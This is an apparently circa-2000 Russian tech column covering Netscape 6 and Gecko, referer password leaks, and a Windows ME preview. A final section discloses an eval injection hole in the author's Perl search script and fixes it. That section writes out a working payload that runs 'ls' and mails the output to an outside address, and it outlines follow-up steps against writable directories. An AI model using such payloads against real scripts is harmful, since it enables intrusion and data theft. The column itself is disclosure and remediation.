Как я и предполагал, Netscape 6.0 - это и есть Mozilla 5.0, просто теперь (так как NEtscape принадлежит AOL), мажорная версия скачет надо полагать, в зависимости от версии MSIE. Ну, в самом деле - нельзя же выпустить Netscape 5.0, когда вот-вот выйдет MSIE 5.5 :) Если ранее можно было рассуждать и спорить о достоинствах и недостатках обоих браузеров (NN и MSIE), то с выходом MSIE 5.0 очень многих привлекает устойчивость IE. Меня - в том числе. К тому же, NN так и не удосужился сменить энджин - как всем прекрасно известно, при изменении окна, происходит перегрузка контента - этот недостаток дает сильный перевес в сторону IE. Однако, как я уже как-то описывая Mozilla, заметил, в новом
энджине этот недостаток отсутствует. Новый энджин (engine) называется Gecko,
поддерживает автоматический языковой перевод - русского, к сожалению, нет
:(. Размер инсталляции только браузера 5.5Мб (preview release
1, build 6.0.15) скриншоты - Andrei Grichine |
|
Пришло несколько писем насчет передачи referer'а с паролем (описывал в прошлом номере). Я написал, что "допустим, если я после своего любимого FTP иду на какой-то сайт - туда referer уйдет вместе с паролем!". Да, это ошибка. Прямо с ftp ссылки встречаются очень редко, а при наборе адреса в строке браузера - это уже будет другая сессия и никакого referer не уйдет. Да и прямо с ftp "странички" referer тоже не уходит. Но как в анекдоте "осадочек неприятный остался..." :)) Зато он уйдет при вот такой нотации: http://site.domain.com/script.pl?name=vasia&passw=word в случае, если, разумеется, на страничке, сгенерированной скриптом, будет ссылка на другой адрес.
|
|
Windows Millenium Edition (попросту - Windows ME), третью бету которой
выпустила буквально на днях Microsoft, будет заменой Windows98 для тех, кто
не захочет переходить на Win2K и кому нет нужды использовать все мощности
NT. Поиграть, полазить в интернете, поработать в редакторе, послушать музыку,
поглядеть фильмы - для этого NT и не нужна. Хватит обычной Windows - как оболочки
для DOS :) Особое внимание уделено "подъему" системы в особо сложных случаях. Например, после удаления каких-либо жизненно-важных DLL или иных некорректных действий пользователя (или какой-либо программы). Вообще, будет существовать этакая система "отката", когда регистр будет сохраняться каждые 24 часа (или перед установкой) и по желанию, после всех извращений над системой, возвращаться назад. В систему подсказок встроена возможность лазить в интернет за помощью к производителям софта или железа в особо трудных случаях. Да и вообще, в интернет - за справкой. Скорее всего, это будет этакий help-gate в купе и со встроенным хелпом. Хорошая идея. Zip-архивы (и Cab тоже) теперь будут представлены в виде папок - т.е. поддержка zip встроена прямо в систему. Про поддержку еще большего количества железа я и не говорю, а вот про работу с multimedia могу отметить возможность компрессии звука прямиком в формат WMA посредством нового Windows Media Player прямиком с компакт дисков (или из wav). Наконец, появилось что-то, относящееся к видео - Windows Movie Maker (на MAC подобные вещи существовали чуть ли не с детства, MS только разродилась). Железо для оцифровки видео, конечно, никто не отменяет, а WMM будет позволять редактировать и компрессировать уже готовый видеопоток. Но, впрочем, создавать фильмы можно и из отдельных картинок и звуковых фрагментов - этакое слайд шоу под музыку. Даже видеоввода не надо :) Получается из всего этого, как уже известно - ASF. Что насчет оптимизации для интернета - теперь Internet Explorer (в WinME
- MSIE 5.5) полностью встроен в Windows. И отдельные "внутренние"
приложения тоже оптимизированы для работы с интернетом. Internet Connection
Sharing (ICS) - эта полезная штука, позволяющая расшаривать модем по сети
уже есть в Win98SE, но в WinME есть интересная добавочка - в процессе работы
программы установки ICS создаются установочные диски с сетевыми драйверами
и программами для не-WindowsMe систем на тех машинах, которые будут
использовать хост с WinME. Ну что, все пожалуй. Вот такая ОС готовится на смену Win98/SE во втором полугодии (скорее всего). В интернете по ОС Windows, кроме самого microsoft.com ресурсов хватает за глаза, но вот ресурс Windows 98/98 SE + DOS 7.10, Tricks, Secrets, BUGs + FIXes Джорджа Дж. (George G. aka AXCEL216) просто я бы сказал, пугает своими объемами (причем, многие - авторские). Из названия, в принципе, все ясно, но кроме типсов и триксов (а также багов и фиксов) (стихи получились :)), есть раздел (среди многих-многих) Software ESSENTIALS - по всем Windows'ам (2K, 98/95/NT)- апдейты, сервис паки, фиксы (есть там ссылка на Microsoft HTML Help Engine (HTML Help Workshop) - хорошая штука, надо будет взглянуть - позволяет собирать help-файлы в новом формате .chm из .html файлов - очень удобно, когда куча картинок, ссылок, страничек - хочется собрать в один файл и не мучится - например, какая-нибудь информация справочная.... не, классная штука, обязательно опишу в сл. номере). Кстати, там же можно поглядеть и последний Media Player2 v.7.0 prerelease
(для 98/2000), MSIE 5.5, DirectX8.0и др. |
|
Экземпляр в зоопарк: Хочешь - в аквариум, хочешь - в клетку :) оригнал - на страничке A.Yankevich |
Помнится, я выкладывал скрипт поиска (на перле), которыйприменяется у меня в архиве. Так вот, в этом скрипте есть потенциальная "дыра". Вот в этой строчке: if(eval("/$keypairs{'texts'}/$keypairs{'ignorecase'}")) Это я к тому. что после того, как я выложил скрипт на всеобщее обозрение, хакер, который в свое время нашел дыры на сервере iXBT, указал мне на эту оплошность. За что ему большое спасибо. Я уже все исправил, конечно. Но хакнуть меня можно было запросто. Как это делается: Как вы понимаете, команда eval преобразует строку в команду (все что стоит в кавычках внутри). Причем, строку привнесенную извне. Например, если в строке поиска задать "/;system('ls -al|mail any\@mail.com');/", получим кучу писем на почтовый адрес any@mail.com с содержимым директории сайта. Т.е. в результате работы функция eval получит аргумент в виде такой строки и честно его выполнит. Выполнит вот что: //;system('ls -al|mail any\@mail.com');//i. Т.е. пустой поиск (//), команду ls с передачей потока программе mail и еще один пустой поиск (//i). Что можем делать дальше - дальше поглядеть по атрибутам, какие директории открыты на запись, пишем туда программку (чтобы в дальшейшем не упражняться со скриптом), которая поможет сделать все остальное. Описанный выше способ - классический в плане хака сайтов через скрипты. Чем заменить потенциально опасные строки в этом месте? Не очень элегантная конструкция у меня получилась, но зато достаточно устойчива ко взлому. Ее нужно подставить вместо if(eval("/$keypairs{'texts'}/$keypairs{'ignorecase'}")) $ab=0; if($keypairs{'ignorecase'} eq 'i'){$ab=1;} $_=$line; $sf=0; if($ab){if(/$keypairs{'texts'}/i){$sf=1;} } else{if (/$keypairs{'texts'}/){$sf=1;} } if($sf) Исправленный исходный текст можно взять здесь (2k). |
[ Архив+поиск ]-[ все комментарии ]-[ Жизнь ТАМ ] |
|